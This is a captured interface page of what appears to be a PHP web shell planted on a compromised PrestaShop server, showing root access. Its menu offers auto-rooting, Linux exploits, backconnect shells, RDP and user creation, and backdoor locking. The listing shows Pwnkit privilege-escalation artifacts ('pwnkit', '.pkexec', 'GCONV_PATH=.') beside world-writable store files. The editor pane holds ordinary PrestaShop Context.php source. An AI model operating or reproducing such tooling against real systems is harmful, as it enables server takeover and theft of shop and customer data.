Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
tienda /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Smarty
[ DIR ]
drwxrwxrwx
assets
[ DIR ]
drwxrwxrwx
cache
[ DIR ]
drwxrwxrwx
checkout
[ DIR ]
drwxrwxrwx
container
[ DIR ]
drwxrwxrwx
controller
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
exception
[ DIR ]
drwxrwxrwx
form
[ DIR ]
drwxrwxrwx
helper
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
log
[ DIR ]
drwxrwxrwx
module
[ DIR ]
drwxrwxrwx
order
[ DIR ]
drwxrwxrwx
pdf
[ DIR ]
drwxrwxrwx
proxy
[ DIR ]
drwxrwxrwx
range
[ DIR ]
drwxrwxrwx
shop
[ DIR ]
drwxrwxrwx
stock
[ DIR ]
drwxrwxrwx
tax
[ DIR ]
drwxrwxrwx
tree
[ DIR ]
drwxrwxrwx
webservice
[ DIR ]
drwxrwxrwx
.htaccess
170
B
-rwxrwxrwx
.mad-root
0
B
-rw-r--r--
Access.php
13.21
KB
-rwxrwxrwx
Address.php
20.25
KB
-rwxrwxrwx
AddressChecksumCore.php
1.64
KB
-rwxrwxrwx
AddressFormat.php
24.11
KB
-rwxrwxrwx
Alias.php
5
KB
-rwxrwxrwx
Attachment.php
7.92
KB
-rwxrwxrwx
Attribute.php
13.54
KB
-rwxrwxrwx
AttributeGroup.php
13.43
KB
-rwxrwxrwx
CMS.php
11.36
KB
-rwxrwxrwx
CMSCategory.php
24.06
KB
-rwxrwxrwx
CMSRole.php
1.75
KB
-rwxrwxrwx
CSV.php
3
KB
-rwxrwxrwx
Carrier.php
61.8
KB
-rwxrwxrwx
Cart.php
199.01
KB
-rwxrwxrwx
CartRule.php
82.69
KB
-rwxrwxrwx
Category.php
84.02
KB
-rwxrwxrwx
Chart.php
4.11
KB
-rwxrwxrwx
ChecksumInterface.php
1.08
KB
-rwxrwxrwx
Combination.php
14.46
KB
-rwxrwxrwx
Configuration.php
26.12
KB
-rwxrwxrwx
ConfigurationKPI.php
8.59
KB
-rwxrwxrwx
ConfigurationTest.php
11.69
KB
-rwxrwxrwx
Connection.php
10.39
KB
-rwxrwxrwx
ConnectionsSource.php
5.7
KB
-rwxrwxrwx
Contact.php
3.75
KB
-rwxrwxrwx
Context.php
13.6
KB
-rwxrwxrwx
Cookie.php
13.76
KB
-rwxrwxrwx
Country.php
16.21
KB
-rwxrwxrwx
Currency.php
24.62
KB
-rwxrwxrwx
Curve.php
2.37
KB
-rwxrwxrwx
Customer.php
46.45
KB
-rwxrwxrwx
CustomerAddress.php
1.21
KB
-rwxrwxrwx
CustomerMessage.php
5.84
KB
-rwxrwxrwx
CustomerThread.php
9.69
KB
-rwxrwxrwx
Customization.php
13.47
KB
-rwxrwxrwx
CustomizationField.php
2.75
KB
-rwxrwxrwx
DateRange.php
2.46
KB
-rwxrwxrwx
Delivery.php
3.26
KB
-rwxrwxrwx
Dispatcher.php
42.78
KB
-rwxrwxrwx
Employee.php
22.86
KB
-rwxrwxrwx
Feature.php
11.16
KB
-rwxrwxrwx
FeatureValue.php
8.02
KB
-rwxrwxrwx
FileUploader.php
3.55
KB
-rwxrwxrwx
Gender.php
2.67
KB
-rwxrwxrwx
Group.php
14.44
KB
-rwxrwxrwx
GroupReduction.php
9.67
KB
-rwxrwxrwx
Guest.php
7.96
KB
-rwxrwxrwx
Hook.php
34.31
KB
-rwxrwxrwx
Image.php
28.12
KB
-rwxrwxrwx
ImageManager.php
23.53
KB
-rwxrwxrwx
ImageType.php
6.96
KB
-rwxrwxrwx
Language.php
55.27
KB
-rwxrwxrwx
Link.php
56.18
KB
-rwxrwxrwx
LocalizationPack.php
24.68
KB
-rwxrwxrwx
Mail.php
30.65
KB
-rwxrwxrwx
Manufacturer.php
20.94
KB
-rwxrwxrwx
ManufacturerAddress.php
1.23
KB
-rwxrwxrwx
Media.php
34.58
KB
-rwxrwxrwx
Message.php
6.28
KB
-rwxrwxrwx
Meta.php
18
KB
-rwxrwxrwx
Notification.php
7.33
KB
-rwxrwxrwx
ObjectModel.php
74.13
KB
-rwxrwxrwx
Pack.php
22.77
KB
-rwxrwxrwx
Page.php
4.47
KB
-rwxrwxrwx
PaymentFree.php
1.2
KB
-rwxrwxrwx
PaymentModule.php
57.15
KB
-rwxrwxrwx
PhpEncryption.php
3.34
KB
-rwxrwxrwx
PhpEncryptionEngine.php
4.23
KB
-rwxrwxrwx
PhpEncryptionLegacyEngine.php
4.71
KB
-rwxrwxrwx
PrestaShopAutoload.php
12.56
KB
-rwxrwxrwx
PrestaShopBackup.php
12.06
KB
-rwxrwxrwx
PrestaShopCollection.php
20.81
KB
-rwxrwxrwx
PrestaShopLogger.php
6.51
KB
-rwxrwxrwx
Product.php
263.08
KB
-rwxrwxrwx
ProductAssembler.php
3.32
KB
-rwxrwxrwx
ProductDownload.php
9.78
KB
-rwxrwxrwx
ProductPresenterFactory.php
3.54
KB
-rwxrwxrwx
ProductSale.php
12.68
KB
-rwxrwxrwx
ProductSupplier.php
8.78
KB
-rwxrwxrwx
Profile.php
7.54
KB
-rwxrwxrwx
QqUploadedFileForm.php
4.97
KB
-rwxrwxrwx
QqUploadedFileXhr.php
5.61
KB
-rwxrwxrwx
QuickAccess.php
4.63
KB
-rwxrwxrwx
Referrer.php
17.29
KB
-rwxrwxrwx
RequestSql.php
20.06
KB
-rwxrwxrwx
Risk.php
2.33
KB
-rwxrwxrwx
Search.php
41.29
KB
-rwxrwxrwx
SearchEngine.php
2.76
KB
-rwxrwxrwx
SpecificPrice.php
30.68
KB
-rwxrwxrwx
SpecificPriceRule.php
13.75
KB
-rwxrwxrwx
State.php
7.39
KB
-rwxrwxrwx
Store.php
6.32
KB
-rwxrwxrwx
Supplier.php
17.76
KB
-rwxrwxrwx
SupplierAddress.php
1.22
KB
-rwxrwxrwx
Tab.php
20.54
KB
-rwxrwxrwx
Tag.php
11.72
KB
-rwxrwxrwx
Tools.php
143.12
KB
-rwxrwxrwx
Translate.php
13.76
KB
-rwxrwxrwx
TranslatedConfiguration.php
4.57
KB
-rwxrwxrwx
Upgrader.php
11.54
KB
-rwxrwxrwx
Uploader.php
11.44
KB
-rwxrwxrwx
Validate.php
33.53
KB
-rwxrwxrwx
ValidateConstraintTranslator.p...
2.85
KB
-rwxrwxrwx
WarehouseAddress.php
1.22
KB
-rwxrwxrwx
Windows.php
1.29
KB
-rwxrwxrwx
Zone.php
3.39
KB
-rwxrwxrwx
index.php
1.29
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Context.php
<?php /** * 2007-2019 PrestaShop and Contributors * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2019 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ use PrestaShop\PrestaShop\Adapter\SymfonyContainer; use PrestaShop\PrestaShop\Core\Localization\Locale; use PrestaShopBundle\Translation\Loader\SqlTranslationLoader; use PrestaShopBundle\Translation\TranslatorComponent as Translator; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\Filesystem\Filesystem; use Symfony\Component\Finder\Finder; use Symfony\Component\Translation\Loader\XliffFileLoader; /** * Class ContextCore. * * @since 1.5.0.1 */ class ContextCore { /** @var Context */ protected static $instance; /** @var Cart */ public $cart; /** @var Customer */ public $customer; /** @var Cookie */ public $cookie; /** @var Link */ public $link; /** @var Country */ public $country; /** @var Employee */ public $employee; /** @var AdminController|FrontController */ public $controller; /** @var string $override_controller_name_for_translations */ public $override_controller_name_for_translations; /** @var Language */ public $language; /** @var Currency */ public $currency; /** * Current locale instance. * * @var Locale */ public $currentLocale; /** @var Tab */ public $tab; /** @var Shop */ public $shop; /** @var Smarty */ public $smarty; /** @var \Mobile_Detect */ public $mobile_detect; /** @var int */ public $mode; /** @var ContainerBuilder */ public $container; /** @var Translator */ protected $translator = null; /** * Mobile device of the customer. * * @var bool|null */ protected $mobile_device = null; /** @var bool|null */ protected $is_mobile = null; /** @var bool|null */ protected $is_tablet = null; /** @var int */ const DEVICE_COMPUTER = 1; /** @var int */ const DEVICE_TABLET = 2; /** @var int */ const DEVICE_MOBILE = 4; /** @var int */ const MODE_STD = 1; /** @var int */ const MODE_STD_CONTRIB = 2; /** @var int */ const MODE_HOST_CONTRIB = 4; /** @var int */ const MODE_HOST = 8; /** * Sets Mobile_Detect tool object. * * @return Mobile_Detect */ public function getMobileDetect() { if ($this->mobile_detect === null) { $this->mobile_detect = new Mobile_Detect(); } return $this->mobile_detect; } /** * Checks if visitor's device is a mobile device. * * @return bool */ public function isMobile() { if ($this->is_mobile === null) { $mobileDetect = $this->getMobileDetect(); $this->is_mobile = $mobileDetect->isMobile(); } return $this->is_mobile; } /** * Checks if visitor's device is a tablet device. * * @return bool */ public function isTablet() { if ($this->is_tablet === null) { $mobileDetect = $this->getMobileDetect(); $this->is_tablet = $mobileDetect->isTablet(); } return $this->is_tablet; } /** * Sets mobile_device context variable. * * @return bool */ public function getMobileDevice() { if ($this->mobile_device === null) { $this->mobile_device = false; if ($this->checkMobileContext()) { if (isset(Context::getContext()->cookie->no_mobile) && Context::getContext()->cookie->no_mobile == false && (int) Configuration::get('PS_ALLOW_MOBILE_DEVICE') != 0) { $this->mobile_device = true; } else { switch ((int) Configuration::get('PS_ALLOW_MOBILE_DEVICE')) { case 1: // Only for mobile device if ($this->isMobile() && !$this->isTablet()) { $this->mobile_device = true; } break; case 2: // Only for touchpads if ($this->isTablet() && !$this->isMobile()) { $this->mobile_device = true; } break; case 3: // For touchpad or mobile devices if ($this->isMobile() || $this->isTablet()) { $this->mobile_device = true; } break; } } } } return $this->mobile_device; } /** * Returns mobile device type. * * @return int */ public function getDevice() { static $device = null; if ($device === null) { if ($this->isTablet()) { $device = Context::DEVICE_TABLET; } elseif ($this->isMobile()) { $device = Context::DEVICE_MOBILE; } else { $device = Context::DEVICE_COMPUTER; } } return $device; } /** * @return Locale */ public function getCurrentLocale() { return $this->currentLocale; } /** * Checks if mobile context is possible. * * @return bool * * @throws PrestaShopException */ protected function checkMobileContext() { // Check mobile context if (Tools::isSubmit('no_mobile_theme')) { Context::getContext()->cookie->no_mobile = true; if (Context::getContext()->cookie->id_guest) { $guest = new Guest(Context::getContext()->cookie->id_guest); $guest->mobile_theme = false; $guest->update(); } } elseif (Tools::isSubmit('mobile_theme_ok')) { Context::getContext()->cookie->no_mobile = false; if (Context::getContext()->cookie->id_guest) { $guest = new Guest(Context::getContext()->cookie->id_guest); $guest->mobile_theme = true; $guest->update(); } } return isset($_SERVER['HTTP_USER_AGENT'], Context::getContext()->cookie) && (bool) Configuration::get('PS_ALLOW_MOBILE_DEVICE') && @filemtime(_PS_THEME_MOBILE_DIR_) && !Context::getContext()->cookie->no_mobile; } /** * Get a singleton instance of Context object. * * @return Context */ public static function getContext() { if (!isset(self::$instance)) { self::$instance = new Context(); } return self::$instance; } /** * @param $testInstance Context * Unit testing purpose only */ public static function setInstanceForTesting($testInstance) { self::$instance = $testInstance; } /** * Unit testing purpose only. */ public static function deleteTestingInstance() { self::$instance = null; } /** * Clone current context object. * * @return Context */ public function cloneContext() { return clone $this; } /** * Update context after customer login. * * @param Customer $customer Created customer */ public function updateCustomer(Customer $customer) { $this->customer = $customer; $this->cookie->id_customer = (int) $customer->id; $this->cookie->customer_lastname = $customer->lastname; $this->cookie->customer_firstname = $customer->firstname; $this->cookie->passwd = $customer->passwd; $this->cookie->logged = 1; $customer->logged = 1; $this->cookie->email = $customer->email; $this->cookie->is_guest = $customer->isGuest(); $this->cart->secure_key = $customer->secure_key; if (Configuration::get('PS_CART_FOLLOWING') && (empty($this->cookie->id_cart) || Cart::getNbProducts($this->cookie->id_cart) == 0) && $idCart = (int) Cart::lastNoneOrderedCart($this->customer->id)) { $this->cart = new Cart($idCart); } else { $idCarrier = (int) $this->cart->id_carrier; $this->cart->id_carrier = 0; $this->cart->setDeliveryOption(null); $this->cart->updateAddressId($this->cart->id_address_delivery, (int) Address::getFirstCustomerAddressId((int) ($customer->id))); $this->cart->id_address_delivery = (int) Address::getFirstCustomerAddressId((int) ($customer->id)); $this->cart->id_address_invoice = (int) Address::getFirstCustomerAddressId((int) ($customer->id)); } $this->cart->id_customer = (int) $customer->id; if (isset($idCarrier) && $idCarrier) { $deliveryOption = [$this->cart->id_address_delivery => $idCarrier . ',']; $this->cart->setDeliveryOption($deliveryOption); } $this->cart->save(); $this->cookie->id_cart = (int) $this->cart->id; $this->cookie->write(); $this->cart->autosetProductAddress(); } /** * Returns a translator depending on service container availability and if the method * is called by the installer or not. * * @param bool $isInstaller Set to true if the method is called by the installer * * @return Translator */ public function getTranslator($isInstaller = false) { if (null !== $this->translator) { return $this->translator; } $sfContainer = SymfonyContainer::getInstance(); if ($isInstaller || null === $sfContainer) { // symfony's container isn't available in front office, so we load and configure the translator component $this->translator = $this->getTranslatorFromLocale($this->language->locale); } else { $this->translator = $sfContainer->get('translator'); // We need to set the locale here because in legacy BO pages, the translator is used // before the TranslatorListener does its job of setting the locale according to the Request object $this->translator->setLocale($this->language->locale); } return $this->translator; } /** * Returns a new instance of Translator for the provided locale code. * * @param string $locale IETF language tag (eg. "en-US") * * @return Translator */ public function getTranslatorFromLocale($locale) { $cacheDir = _PS_CACHE_DIR_ . 'translations'; $translator = new Translator($locale, null, $cacheDir, false); // In case we have at least 1 translated message, we return the current translator. // If some translations are missing, clear cache if ($locale === '' || count($translator->getCatalogue($locale)->all())) { $this->translator = $translator; return $translator; } // However, in some case, even empty catalog were stored in the cache and then used as-is. // For this one, we drop the cache and try to regenerate it. if (is_dir($cacheDir)) { $cache_file = Finder::create() ->files() ->in($cacheDir) ->depth('==0') ->name('*.' . $locale . '.*'); (new Filesystem())->remove($cache_file); } $adminContext = defined('_PS_ADMIN_DIR_'); $translator->addLoader('xlf', new XliffFileLoader()); $sqlTranslationLoader = new SqlTranslationLoader(); if (null !== $this->shop) { $sqlTranslationLoader->setTheme($this->shop->theme); } $translator->addLoader('db', $sqlTranslationLoader); $notName = $adminContext ? '^Shop*' : '^Admin*'; $finder = Finder::create() ->files() ->name('*.' . $locale . '.xlf') ->notName($notName) ->in($this->getTranslationResourcesDirectories()); foreach ($finder as $file) { list($domain, $locale, $format) = explode('.', $file->getBasename(), 3); $translator->addResource($format, $file, $locale, $domain); if (!$this->language instanceof PrestashopBundle\Install\Language) { $translator->addResource('db', $domain . '.' . $locale . '.db', $locale, $domain); } } return $translator; } /** * @return array */ protected function getTranslationResourcesDirectories() { $locations = array(_PS_ROOT_DIR_ . '/app/Resources/translations'); if (null !== $this->shop) { $activeThemeLocation = _PS_ROOT_DIR_ . '/themes/' . $this->shop->theme_name . '/translations'; if (is_dir($activeThemeLocation)) { $locations[] = $activeThemeLocation; } } return $locations; } }
Close